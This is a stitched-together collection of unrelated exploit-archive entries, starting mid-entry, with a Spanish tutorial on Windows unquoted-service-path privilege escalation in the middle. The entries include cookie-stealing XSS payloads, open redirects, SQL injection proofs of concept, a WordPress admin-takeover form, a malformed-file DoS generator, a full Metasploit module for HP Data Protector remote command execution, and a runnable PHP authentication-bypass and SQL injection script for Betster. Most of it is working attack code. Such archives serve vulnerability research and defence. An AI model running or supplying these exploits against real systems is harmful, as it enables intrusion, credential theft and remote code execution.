http://www.example.com/ashop/basket.php?cat=0&sid='"</script><script>alert(document.cookie)</script>&shop=1&payoption=3
Open Redirection
http://www.example.com/ashop/language.php?language=sv&redirect=http://www.google.com
http://www.example.com/ashop/currency.php?currency=aud&redirect=http://www.google.com
http://www.example.com/ashop/currency.php?redirect=http://www.google.com
source: https://www.securityfocus.com/bid/50637/info
Joomla! 'com_alfcontact' extension is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker could leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Joomla! 'com_alfcontact' extension 1.9.3 is vulnerable; prior versions may also be affected.
&email=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&emailid=5%2c%2cCareers%20at%20Foreground%20Security&emailto_id=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&extravalue=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&message=20&name=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&option=com_alfcontact&recaptcha_challenge_field=&recaptcha_response_field=manual_challenge&subject=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&task=sendemail
source: https://www.securityfocus.com/bid/50646/info
Infoblox NetMRI is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Infoblox NetMRI versions 6.2.1, 6.1.2, and 6.0.2.42 are vulnerable; other versions may also be affected.
POST /netmri/config/userAdmin/login.tdf HTTP/1.1
Content-Length: 691
Cookie: XXXX
Host: netmrihost:443
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
formStack=netmri/config/userAdmin/login&eulaAccepted=<script>alert(document.cookie)</script>&mode=<script>alert(document.cookie)</script>&skipjackPassword=ForegroundSecurity&skipjackUsername=ForegroundSecurity&weakPassword=false
source: https://www.securityfocus.com/bid/50651/info
Kool Media Converter is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.
Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
Kool Media Converter 2.6.0 is vulnerable; other versions may also be affected.
#!/usr/bin/env python
#
#
# Exploit Title: Kool Media Converter v2.6.0 DOS
# Date: 10/10/2011
# Author: swami
# E-Mail: flavio[dot]baldassi[at]gmail[dot]com
# Software Link: http://www.bestwebsharing.com/downloads/kool-media-converter-setup.exe
# Version: 2.6.0
# Tested on: Windows XP SP3 ENG
#
#--- From Vendor Website
# Kool Media Converter is a sound tool addressed to casual listeners and fervent
# audiophiles likewise. It deals with compatibility problems between your audio files
# and the media player you are using to help you enjoy all the songs you love anyway you like.
#
#--- Description
# Kool Media Converter fails to handle a malformed .ogg file
ogg = b'\x4F\x67\x67\x53' # Capture Pattern OggS in ascii
ogg += b'\x00' # Version currently 0
ogg += b'\x02' # Header Type of page that follows
ogg += b'\x00' * 8 # Granule Position
ogg += b'\xCE\xc6\x41\x49' # Bitstream Serial Number
ogg += b'\x00' * 4 # Page Sequence Number
ogg += b'\x70\x79\xf3\x3d' # Checksum
ogg += b'\x01' # Page Segment max 255
ogg += b'\x1e\x01\x76\x6f' # Segment Table
ogg += b'\x41' * 1000
try:
f = open('koolPoC.ogg','wb')
f.write(ogg)
f.close()
except:
print('\nError while creating ogg file\n')
# Exploit Title: WordPress Download Manager 2.7.2 Privilege Escalation
# Date: 24-11-2014
# Software Link: https://wordpress.org/plugins/download-manager/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
# CVE: CVE-2014-9260
1. Description
Every registered user can update every WordPress options using basic_settings() function.
function basic_settings()
{
if (isset($_POST['task']) && $_POST['task'] == 'wdm_save_settings') {
foreach ($_POST as $optn => $optv) {
update_option($optn, $optv);
}
if (!isset($_POST['__wpdm_login_form'])) delete_option('__wpdm_login_form');
die('Settings Saved Successfully');
}
include('settings/basic.php');
}
http://security.szurek.pl/wordpress-download-manager-272-privilege-escalation.html
2. Proof of Concept
Login as standard user (created using wp-login.php?action=register) then:
<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wdm_settings">
<input type="hidden" name="task" value="wdm_save_settings">
<input type="hidden" name="section" value="basic">
<input type="hidden" name="default_role" value="administrator">
<input type="submit" value="Hack!">
</form>
After that create new user using wp-login.php?action=register. Newly created user will have admin privileges.
3. Solution:
Update to version 2.7.3
source: https://www.securityfocus.com/bid/50656/info
Content component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/joomla/index.php?option=com_content&view=archive&year=1 [BSQLI]
#Vulnerability title: ProjectSend r561 - SQL injection vulnerability
#Product: ProjectSend r561
#Vendor: http://www.projectsend.org/
#Affected version: ProjectSend r561
#Download link: http://www.projectsend.org/download/67/
#Fixed version: N/A
#Author: Le Ngoc Phi (phi.n.le@itas.vn) & ITAS Team (www.itas.vn)
::PROOF OF CONCEPT::
+ REQUEST:
GET /projectsend/users-edit.php?id=<SQL INJECTION HERE> HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101
Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: 54f8105d859e0_SESSION=q6tjpjjbt53nk1o5tnbv2123456;
PHPSESSID=jec50hu4plibu5p2p6hnvpcut6
Connection: keep-alive
- Vulnerable file: client-edit.php
- Vulnerable parameter: id
- Vulnerable code:
if (isset($_GET['id'])) {
$client_id = mysql_real_escape_string($_GET['id']);
/**
* Check if the id corresponds to a real client.
* Return 1 if true, 2 if false.
**/
$page_status = (client_exists_id($client_id)) ? 1 : 2;
}
else {
/**
* Return 0 if the id is not set.
*/
$page_status = 0;
}
/**
* Get the clients information from the database to use on the form.
*/
if ($page_status === 1) {
$editing = $database->query("SELECT * FROM tbl_users WHERE
id=$client_id");
while($data = mysql_fetch_array($editing)) {
$add_client_data_name = $data['name'];
$add_client_data_user = $data['user'];
$add_client_data_email = $data['email'];
$add_client_data_addr = $data['address'];
$add_client_data_phone = $data['phone'];
$add_client_data_intcont = $data['contact'];
if ($data['notify'] == 1) { $add_client_data_notity = 1; }
else { $add_client_data_notity = 0; }
if ($data['active'] == 1) { $add_client_data_active = 1; }
else { $add_client_data_active = 0; }
}
}
::DISCLOSURE::
+ 01/06/2015: Detect vulnerability
+ 01/07/2015: Contact to vendor
+ 01/08/2015: Send the detail vulnerability to vendor - vendor did not reply
+ 03/05/2015: Public information
::REFERENCE::
-
http://www.itas.vn/news/itas-team-found-out-a-SQL-Injection-vulnerability-in
-projectsend-r561-76.html
::DISCLAIMER::
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF
ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY
IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE
OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS
A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION
OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS,
AND AT THE USER'S OWN RISK.
Best Regards,
---------------------------------------------------------------------
ITAS Team (www.itas.vn)
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => 'HP Data Protector 8.10 Remote Command Execution',
'Description' => %q{
This module exploits a remote command execution on HP Data Protector 8.10. Arbitrary
commands can be execute by sending crafted requests with opcode 28 to the OmniInet
service listening on the TCP/5555 port. Since there is an strict length limitation on
the command, rundll32.exe is executed, and the payload is provided through a DLL by a
fake SMB server. This module has been tested successfully on HP Data Protector 8.1 on
Windows 7 SP1.
},
'Author' => [
'Christian Ramirez', # POC
'Henoch Barrera', # POC
'Matthew Hall <hallm[at]sec-1.com>' # Metasploit Module
],
'References' =>
[
['CVE', '2014-2623'],
['OSVDB', '109069'],
['EDB', '34066'],
['URL', 'https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'Privileged' => true,
'Platform' => 'win',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'HP Data Protector 8.10 / Windows', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 02 2014'))
register_options(
[
Opt::RPORT(5555),
OptString.new('FILE_NAME', [ false, 'DLL File name to share']),
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
], self.class)
deregister_options('FOLDER_NAME')
deregister_options('FILE_CONTENTS')
end
def check
fingerprint = get_fingerprint
if fingerprint.nil?
return Exploit::CheckCode::Unknown
end
print_status("#{peer} - HP Data Protector version #{fingerprint}")
if fingerprint =~ /HP Data Protector A\.08\.(\d+)/
minor = $1.to_i
else
return Exploit::CheckCode::Safe
end
if minor < 11
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Detected
end
def peer
"#{rhost}:#{rport}"
end
def get_fingerprint
ommni = connect
ommni.put(rand_text_alpha_upper(64))
resp = ommni.get_once(-1)
disconnect
if resp.nil?
return nil
end
Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null
end
def send_pkt(cmd)
cmd.gsub!("\\", "\\\\\\\\")
pkt = "2\x00"
pkt << "\x01\x01\x01\x01\x01\x01\x00"
pkt << "\x01\x00"
pkt << "\x01\x00"
pkt << "\x01\x00"
pkt << "\x01\x01\x00 "
pkt << "28\x00"
pkt << "\\perl.exe\x00 "
pkt << "-esystem('#{cmd}')\x00"
connect
sock.put([pkt.length].pack('N') + pkt)
disconnect
end
def primer
self.file_contents = generate_payload_dll
print_status("File available on #{unc}...")
print_status("#{peer} - Trying to execute remote DLL...")
sploit = "rundll32.exe #{unc},#{rand_text_numeric(1)}"
send_pkt(sploit)
end
def setup
super
self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
unless file_name =~ /\.dll$/
fail_with(Failure::BadConfig, "FILE_NAME must end with .dll")
end
end
def exploit
begin
Timeout.timeout(datastore['SMB_DELAY']) {super}
rescue Timeout::Error
# do nothing... just finish exploit and stop smb server...
end
end
end
Cuando se inicia un servicio, Windows busca el ejecutable correspondiente para que el servicio se pueda iniciar con éxito. La ruta del ejecutable puede estar guardada de dos formas:
- Entre comillas
- Sin comillas
De la primera forma, el sistema sabe exactamente donde está el ejecutable, sin embargo, en la segunda, si a lo largo de toda la ruta del ejecutable se encuentra entre medio carpetas que tengan algún nombre con espacios, Windows hace un proceso del cual quizás nos podamos aprovechar.
Índice:
- Introducción
- Enumeración
- Ejemplo de Explotación
- Referencias
Nota: antes de seguir, recomiendo leer el post de: ¿Qué es un servicio en Windows? – Privilege Escalation
Introducción
Por ejemplo, imaginémonos que existe un servicio X el cual tiene asignado su ejecutable en la siguiente ruta:
C:\Windows\Program Files\CleanUp\Common Files\clean.exe
Teniendo en cuenta que el servicio lo tiene establecido sin comillas, y, por tanto, no de forma absoluta. Quien le dice a Windows que el ejecutable no podría ser perfectamente:
C:\Windows\Program.exe
Y que se le pasa como argumentos:
Files\CleanUp\Common
Files\clean.exe
O que el ejecutable fuese:
C:\Windows\Program Files\CleanUp\Common.exe
Con argumento:
Files\clean.exe
La idea básicamente es esta. Algunos programas reciben los argumentos tal que:
programa.exe argumento1 argumento2 argumento3...
Por lo que Windows, al no tener comillas, no sabe si está ocurriendo esto. Por ello, cada vez que se encuentra un espacio en el PATH, lo separa entre: <ejecutable> <argumentos>. En este caso, lo primero que haría Windows sería tomarlo tal que:
C:\Windows\Program Files\CleanUp\Common Files\clean.exe
Ejecutable: C:\Windows\Program.exe
Argumento 1: Files\CleanUp\Common
Argumento 2: Files\clean.exe
Y así continuamente.
Conociendo ya como Windows busca el ejecutable. Que ocurre si nosotros tuviésemos permisos de escritura en alguna de estas carpetas con espacios. Es decir, si en este caso, nosotros tuviéramos permisos de escritura en la carpeta «CleanUp». Podríamos crear un ejecutable malicioso llamado common.exe
, de tal forma que Windows cuando llegue a esa carpeta (llegará, ya que que no encontrará un program.exe
dentro de «Program Files») ejecutará nuestro ejecutable malicioso. Puesto que lo entenderá de la forma que vimos previamente:
Ejecutable: C:\Windows\Program Files\CleanUp\Common.exe
Argumento: Files\clean.exe
Ojo, no tenemos que caer en la trampa de que si encontramos un «Unquoted Service Path», ya podremos aprovecharnos con éxito. No sirve de nada que podamos escribir en cualquier directorio si no tenemos la capacidad de:
- Reiniciar o detener e iniciar el servicio
- Reiniciar el equipo Windows (solo en el caso de que se trate de un servicio que inicie con el sistema)
Ya que si no somos capaces de hacer esto, nunca se iniciará el servicio, y, por tanto, nunca se ejecutará nuestro ejecutable malicioso.
Enumeración
Manual
WMIC (Windows Management Instrumentation Command-line) es una herramienta de administración para Windows que permite no solo obtener información, sino realizar acciones.
Podemos listar los servicios que tengan asignado un path sin comillas con el siguiente comando:
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
- Con
wmic
como vemos, estamos obteniendo información del servicio, en este caso el nombre, la ruta y el modo de inicio (si se inicia al encender el sistema) - El parámetro
/i
defindstr
sirve para ignorar si es mayúscula o minúscula. - El parámetro
/v
defindstr
sirve para que solo imprima las líneas que no coincidan con el match. - Sabiendo esto, las dos veces que se utiliza
findstr
son para:- Ignorar los servicios que se encuentren en la carpeta
C:\Windows
- Ignorar los servicios que estén entre comillas (dobles)
- Ignorar los servicios que se encuentren en la carpeta
Además de wmic
, así de forma manual, si nos interesa un servicio en concreto, podemos ver la ruta del ejecutable en el siguiente registro:
HKLM\SYSTEM\CurrentControlSet\Services\<nombre del servicio>
El comando sería:
reg query HKLM\SYSTEM\CurrentControlSet\Services\<nombre del servicio>
Powersploit (PowerUp.ps1)
Powersploit tiene una función la cual nos sirve para enumerar servicios que tengan un «Unquoted Service Path» y un espacio en alguna carpeta. Una vez tenemos PowerUp.ps1 cargado en la powershell, podemos hacer uso del siguiente cmdlet:
Get-UnquotedService
De esta forma, se nos listaría los servicios que cumplan con estos requisitos.
Podemos descargar el script desde el repositorio de Powersploit.
WinPEAS
WinPEAS es una herramienta muy buena para enumerar muchísimas cosas de Windows lanzándolo sin ningún argumento. Sin embargo, también permite ejecutarse con un argumento que le especifique que buscar exactamente, o en que centrarse. Con el siguiente comando, le indicamos que se centre en enumerar servicios, lo que incluye, que busque «Unquoted Service Paths»:
winpeas.exe quiet servicesinfo
Se puede consultar los posibles argumentos de WinPEAS en su repositorio oficial.
Metasploit
Metasploit no iba a ser menos, también tiene un módulo post explotación que nos permite enumerar esto, se trataría del siguiente:
exploit/window/local/trusted_service_path
Ejemplo de Explotación
Para el ejemplo de explotación, voy a usar el script de Tib3rius que podéis encontrar en su GitHub. Este script te configura un Windows 10 con distintas malas configuraciones.
Con esto claro, lo primero que haríamos sería enumerar en busca de un servicio que tenga el path de su ejecutable sin comillas, para esto, se puede usar cualquiera de las formas vistas previamente. En este caso voy a usar wmic
quitando algún que otro campo para que el output no sea tan largo y se vea mejor:
wmic service get name,pathname | findstr /i /v "C:\Windows\" | findstr /i /v """

Vemos que en este caso existe un servicio cuyo ejecutable está definido en esa ruta y sin comillas, además, contiene carpetas cuyos nombres contiene espacios. Sabiendo esto, ahora debemos de comprobar dos cosas:
- Si podemos reiniciar o detener e iniciar el servicio
- Si tenemos permisos de escritura en alguna de esas carpetas
Para ambas tareas, podemos usar el ejecutable de «accesschk». Es una herramienta que nos ayudará a ver qué tipo de accesos tienen usuarios o grupos específicos a recursos como archivos, directorios, claves del Registro, objetos globales y servicios Windows. Se puede descargar desde la documentación oficial.
La estructura de accesschk es la siguiente:
accesschk.exe [opciones] [usuario o grupo] <nombre de objeto>
Sabiendo esto, podemos ver los permisos que tiene un usuario (o grupo) sobre un servicio usando el siguiente comando:
accesschk.exe /accepteula -ucqv <usuario> <servicio>
Explicación de los argumentos:
- /accepteula –> cuando ejecutamos una herramienta de Windows Sysinternals, la primera vez que lo hacemos suele salir una ventana gráfica de aceptar términos y demás. Para no tener problemas desde nuestra shell, añadiendo directamente este argumento aceptamos los términos desde la propia consola.
- u –> Indicamos que no enseñe los errores si los hubiese
- c –> Indicamos que el
<nombre de objeto>
representa un servicio de Windows. - q –> Quitamos el banner de la herramienta del output
- v –> Típico verbose de cualquier herramienta (mostrar información más detallada)
Conociendo que estamos haciendo, ejecutamos el comando:

Y si nos fijamos, tenemos la capacidad de detener e iniciar el servicio.
Ahora tenemos que confirmar que tengamos la capacidad de escribir en alguno de los directorios:
Directorio completo: C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
Ejecutables que buscará Windows:
C:\Program.exe
C:\Program Files\Unquoted.exe
C:\Program Files\Unquoted Path Service\Common.exe
Por lo tanto, los directorios los cuales queremos ver si tenemos permisos de escritura, son:
C:\
C:\Program Files
C:\Program Files\Unquoted Path Service
De nuevo, para verlo, vamos a usar accesschk. En este caso el comando para ver los permisos de una carpeta, sería el siguiente:
accesschk.exe /accepteula -uwdq <carpeta>
Explicación de los argumentos:
- w –> Enseña solo los permisos que contengan escritura.
- d –> Indicamos que el objeto es una carpeta. Y que nos interesa los permisos de este objeto y no los de su contenido.
De esta forma, miramos los permisos en los tres directorios que hemos indicado arriba:

Si nos damos cuenta, tenemos permisos de escritura en:
C:\Program Files\Unquoted Path Service
Por lo que cumplimos los dos requisitos que hacian falta, tenemos capacidad de detener e iniciar el servicio, y tenemos permiso de escritura en una de las carpetas.
En este punto, vamos preparamos un simple payload con msfvenom:

Desde ya, le hemos puesto el nombre que nos interesa, en este caso, common.exe
. Ya que es el ejecutable que intentará ejecutar Windows. Ahora, simplemente descargamos el payload en el directorio «Unquoted Path Service».

Con esto hecho, ya está todo listo. Nos ponemos en escucha:

Y ahora, iniciamos el servicio (no lo detenemos porque no estaba iniciado):

Se ejecuta nuestro payload y obtenemos shell como el usuario que ejecuta el servicio, en este caso nt authority\system (aunque nosotros tengamos el privilegio de iniciarlo o detenerlo, no quiere decir que seamos nosotros los que lo ejecutemos).
Nota, podemos ver el estado de un servicio usando por ejemplo sc
(o usando el cmdlet de powershell Get-Service -Name <servicio>
):
sc query <nombre del servicio>

También podríamos ver que usuario inicia el servicio, con el comando:
sc qc <servicio>

En este caso, localsystem (nt authority\system).
Nótese también, como, para referirnos al servicio en cualquier caso. Usamos el «name» y no el «displayname»:

Esto último lo comento por si haces uso del comando completo de wmic
puesto al principio:
wmic service get name,displayname,pathname,startmode | findstr /i /v “C:\Windows\\” | findstr /i /v “””
El cual te muestra ambos nombres.
Referencias
- accesschk accepteula Flag
- Windows Sysinternals Administrator’s Reference: Security Utilities
- Windows Privilege Escalation for OSCP & Beyond!
# Title: Elastix v2.x Blind SQL Injection Vulnerability
# Author: Ahmed Aboul-Ela
# Twitter: https://twitter.com/aboul3la
# Vendor : http://www.elastix.org
# Version: v2.5.0 and prior versions should be affected too
- Vulnerable Source Code snippet in "a2billing/customer/iridium_threed.php":
<?php
[...]
line 5: getpost_ifset (array('transactionID', 'sess_id', 'key', 'mc_currency', 'currency', 'md5sig',
'merchant_id', 'mb_amount', 'status','mb_currency','transaction_id', 'mc_fee', 'card_number'));
line 34: $QUERY = "SELECT id, cardid, amount, vat, paymentmethod, cc_owner, cc_number, cc_expires,
creationdate, status, cvv, credit_card_type,currency, item_id, item_type " .
" FROM cc_epayment_log " . " WHERE id = ".$transactionID;
line 37: $transaction_data = $paymentTable->SQLExec ($DBHandle_max, $QUERY);
[...]
?>
The GET parameter transactionID was used directly in the SQL query
without any sanitization which lead directly to SQL Injection vulnerability.
- Proof of Concept:
http://[host]/a2billing/customer/iridium_threed.php?transactionID=-1 and 1=benchmark(2000000,md5(1))
The backend response will delay for few seconds, which means the benchmark() function was executed successfully
- Mitigation:
The vendor has released a fix for the vulnerability. It is strongly recommended to update your elastix server now
[~] yum update elastix-a2billing
- Time-Line:
Sat, Feb 14, 2015 at 2:19 PM: Vulnerability report sent to Elastix
Wed, Feb 18, 2015 at 4:29 PM: Confirmation of the issue from Elastix
Fri, Mar 6, 2015 at 8:39 PM: Elastix released a fix for the vulnerability
Sat, Mar 7, 2015 at 5:15 PM: The public responsible disclosure
- Credits:
Ahmed Aboul-Ela - Cyber Security Analyst @ EG-CERT
source: https://www.securityfocus.com/bid/50657/info
Hotaru CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Hotaru CMS 1.4.2 is vulnerable; other versions may also be affected.
<html>
<title>Hotaru CMS 1.4.2 SITE_NAME Parameter Stored XSS Vulnerability</title>
<body bgcolor="#1C1C1C">
<script type="text/javascript">
function xss1(){document.forms["xss1"].submit();}
function xss2(){document.forms["xss2"].submit();}
</script><br />
<form action="http://localhost/hotaru-1-4-2/admin_index.php?page=settings" enctype="application/x-www-form-urlencoded" method="POST" id="xss1">
<input type="hidden" name="SITE_OPEN" value="true" />
<input type="hidden" name="SITE_NAME" value='"><script>alert(1)</script>' />
<input type="hidden" name="THEME" value="default/" />
<input type="hidden" name="ADMIN_THEME" value="admin_default/" />
<input type="hidden" name="DEBUG" value="true" />
<input type="hidden" name="FRIENDLY_URLS" value="false" />
<input type="hidden" name="DB_CACHE" value="false" />
<input type="hidden" name="CSS_JS_CACHE" value="true" />
<input type="hidden" name="HTML_CACHE" value="true" />
<input type="hidden" name="LANG_CACHE" value="true" />
<input type="hidden" name="RSS_CACHE" value="true" />
<input type="hidden" name="SITE_EMAIL" value="lab@zeroscience.mk" />
<input type="hidden" name="SMTP" value="false" />
<input type="hidden" name="SMTP_HOST" value="mail.zeroscience.mk" />
<input type="hidden" name="SMTP_PORT" value="25" />
<input type="hidden" name="SMTP_USERNAME" value="" />
<input type="hidden" name="SMTP_PASSWORD" value="" />
<input type="hidden" name="settings_update" value="true" />
<input type="hidden" name="csrf" value="48202665ee5176f8a813e4a865381f02" /></form>
<a href="javascript: xss1();" style="text-decoration:none">
<b><font color="red"><center><h3>SITE_NAME Param</h3></center></font></b></a><br />
<form action="http://localhost/hotaru-1-4-2/index.php" enctype="application/x-www-form-urlencoded" method="POST" id="xss2">
<input type="hidden" name="csrf" value="83405717529ac232d387c8df3cdb01d1" />
<input type="hidden" name="page" value="login" />
<input type="hidden" name="password" value="" />
<input type="hidden" name="remember" value="1" />
<input type="hidden" name="return" value="%22%20onmouseover%3dprompt%28111%29%20bad%3d%22" />
<input type="hidden" name="username" value="" /></form>
<a href="javascript: xss2();" style="text-decoration:none">
<b><font color="red"><center><h3>return Param</h3></center></font></b></a><br />
<a href="http://localhost/hotaru-1-4-2/index.php?search=%22%20onmouseover%3dprompt%28111%29%20bad%3d%22" style="text-decoration:none">
<b><font color="red"><center><h3>search Param</h3></center></font></b></a></body>
</html>
<?php
/*
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
Exploit Title : Betster (PHP Betoffice) Authentication Bypass and SQL Injection
Date : 6 March 2015
Exploit Author : CWH Underground
Discovered By : ZeQ3uL
Site : www.2600.in.th
Vendor Homepage : http://betster.sourceforge.net/
Software Link : http://downloads.sourceforge.net/project/betster/betster-1.0.4.zip
Version : 1.0.4
Tested on : Linux, PHP 5.3.9
####################
SOFTWARE DESCRIPTION
####################
Betster is a Software to create a online bet-office based on PHP, MySQL and JavaScript. The system works with variable odds
(betting-exchange with variable decimal odds) and provides a CMS-like backend for handling the bets, users and categories.
################################################################
VULNERABILITY: SQL Injection (showprofile.php, categoryedit.php)
################################################################
An attacker might execute arbitrary SQL commands on the database server with this vulnerability.
User tainted data is used when creating the database query that will be executed on the database management system (DBMS).
An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system
depending on the query, DBMS and configuration.
/showprofile.php (LINE: 63)
-----------------------------------------------------------------------------
if (($session->getState()) &&
(($user->getStatus() == "administrator") ||
($user->getStatus() == "betmaster"))){
$mainhtml = file_get_contents("tpl/showprofile.inc");
$id = htmlspecialchars($_GET['id']); <<<< WTF !!
$xuser = $db_mapper->getUserById($id);
-----------------------------------------------------------------------------
/categoryedit.php (LINE: 52)
-----------------------------------------------------------------------------
$id = htmlspecialchars($_GET['id']); <<<< WTF !!
$action = htmlspecialchars($_GET['ac']);
-----------------------------------------------------------------------------
###########################################
VULNERABILITY: Authentication Bypass (SQLi)
###########################################
File index.php (Login function) has SQL Injection vulnerability, "username" parameter supplied in POST parameter for checking valid credentials.
The "username" parameter is not validated before passing into SQL query which arise authentication bypass issue.
#####################################################
EXPLOIT
#####################################################
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 50);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die("\n[-] No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}
print "\n+---------------------------------------------+";
print "\n| Betster Auth Bypass & SQL Injection Exploit |";
print "\n+---------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /betster/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$payload = "username=admin%27+or+%27a%27%3D%27a&password=cwh&login=LOGIN";
$packet = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
print "\n ,--^----------,--------,-----,-------^--, \n";
print " | ||||||||| `--------' | O \n";
print " `+---------------------------^----------| \n";
print " `\_,-------, _________________________| \n";
print " / XXXXXX /`| / \n";
print " / XXXXXX / `\ / \n";
print " / XXXXXX /\______( \n";
print " / XXXXXX / \n";
print " / XXXXXX / .. CWH Underground Hacking Team .. \n";
print " (________( \n";
print " `------' \n";
$response = http_send($host, $packet);
if (!preg_match("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("\n[-] Session ID not found!\n");
$packet = "POST {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
print "\n\n[+] Bypassing Authentication...\n";
sleep(2);
$response=http_send($host, $packet);
preg_match('/menutitle">ADMIN/s', $response) ? print "\n[+] Authentication Bypass Successfully !!\n" : die("\n[-] Bypass Authentication Failed !!\n");
$packet = "GET {$path}showprofile.php?id=1%27%20and%201=2%20union%20select%201,concat(0x3a3a,0x557365723d,user(),0x202c2044425f4e616d653d,database(),0x3a3a),3,4,5,6,7--+ HTTP/1.0\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
print "[+] Performing SQL Injection Attack\n";
sleep(2);
$response1=http_send($host, $packet);
preg_match('/::(.*)::/', $response1, $m) ? print "\n$m[1]\n" : die("\n[-] Exploit failed!\n");
################################################################################################################
# Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
?>